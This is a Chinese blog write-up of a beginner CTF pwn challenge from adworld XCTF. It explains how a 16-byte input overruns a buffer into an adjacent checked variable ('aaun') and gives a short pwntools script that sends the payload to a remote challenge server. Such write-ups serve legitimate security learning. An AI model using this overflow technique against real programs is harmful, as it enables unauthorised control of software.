CTF,第二题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1

 

有了之前第一题的基础,这个就非常容易了,事实证明,第二题也确实比第一题难度低,直接下载文件,看代码

 

 

 

 

 

 

主要看这三段就够了,第一段是当前函数的唯一一个函数体,功能是输出提示接受输入,其实 read 0 ,就是从标准输入流接受输入

它read 了16个字节,然后判断了一个变量,如果值符合要求,那么久调用下面的函数,下面的函数输出flag(读一个文件)

 

很简单,那么我只需要看一下那个输入的缓冲区和那个普通变量就好了。

全局变量也不怕,内存分布很巧,等待输入的变量和后需要判断的变量挨着,

结果导致,如果我可以精心构造一个字符串的话,就有可能在输入这个字符串之后,修改了邻接的第二个变量,最后让if 判断符合条件,

 

if的条件是要求 判断变量处内存需要为 == “aaun”

根据内存分布,发现,判断变量前,到上一个变量即接收输入的字符串起始地址,差距4个字节,判断变量长度又是4个字节,

所以我们精心构造的字符串应该是这样的:????aaun。

后面什么样,就随它去吧,我比较习惯把后面填满,即再补8字节,但是其实不填也没问题,

代码如下

复制代码
 1 from pwn import *
 2 
 3 a = remote('124.126.19.106', 39129)
 4 r = a.recvuntil('bof\n')
 5 print(r)
 6 
 7 str = "a" * 4 + "aaun" 
 8 print(str)
 9 a.send(str);
10 
11 a.interactive()
复制代码

 

执行效果

 

 

 

有了第一次的经验,这次就知道怎么玩了,挺容易的,没难度,

一共就用了五分多,之间还去了倒了一杯咖啡,之后又去了一趟WC。

循序渐进吧。

 

posted @   穷到底  阅读(225)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
点击右上角即可分享
微信分享提示